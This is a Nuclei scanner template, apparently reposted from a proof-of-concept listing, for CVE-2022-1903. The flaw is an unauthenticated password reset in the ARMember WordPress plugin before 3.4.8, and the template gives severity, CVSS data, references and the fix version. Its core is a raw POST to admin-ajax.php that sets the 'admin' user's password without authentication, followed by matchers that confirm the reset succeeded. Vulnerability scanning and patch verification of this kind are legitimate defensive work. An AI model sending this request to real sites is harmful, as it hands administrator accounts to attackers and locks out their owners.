The ARMember WordPress plugin before 3.4.8 is vulnerable to account takeover (even the administrator) due to missing nonce and authorization checks in an AJAX action available to unauthenticated users, allowing them to change the password of arbitrary users by knowing their username.
PoC代码[已公开]
id: CVE-2022-1903
info:
name: ARMember < 3.4.8 - Unauthenticated Admin Account Takeover
author: theamanrawat
severity: high
description: |
The ARMember WordPress plugin before 3.4.8 is vulnerable to account takeover (even the administrator) due to missing nonce and authorization checks in an AJAX action available to unauthenticated users, allowing them to change the password of arbitrary users by knowing their username.
impact: |
An attacker can gain unauthorized access to the admin account, potentially leading to further compromise of the system.
remediation: Fixed in version 3.4.8
reference:
- https://wpscan.com/vulnerability/28d26aa6-a8db-4c20-9ec7-39821c606a08
- https://wordpress.org/plugins/armember-membership/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1903
- https://github.com/SYRTI/POC_to_review
- https://github.com/WhooAmii/POC_to_review
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2022-1903
cwe-id: CWE-862
epss-score: 0.82646
epss-percentile: 0.99193
cpe: cpe:2.3:a:armemberplugin:armember:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: armemberplugin
product: armember
framework: wordpress
tags: cve,cve2022,account-takeover,wpscan,wordpress,wp-plugin,wp,armember-membership,unauthenticated,armemberplugin
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=arm_shortcode_form_ajax_action&user_pass={{randstr}}&repeat_pass={{randstr}}&arm_action=change-password&key2=x&action2=rp&login2=admin
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Your Password has been reset"
- "arm_success_msg"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
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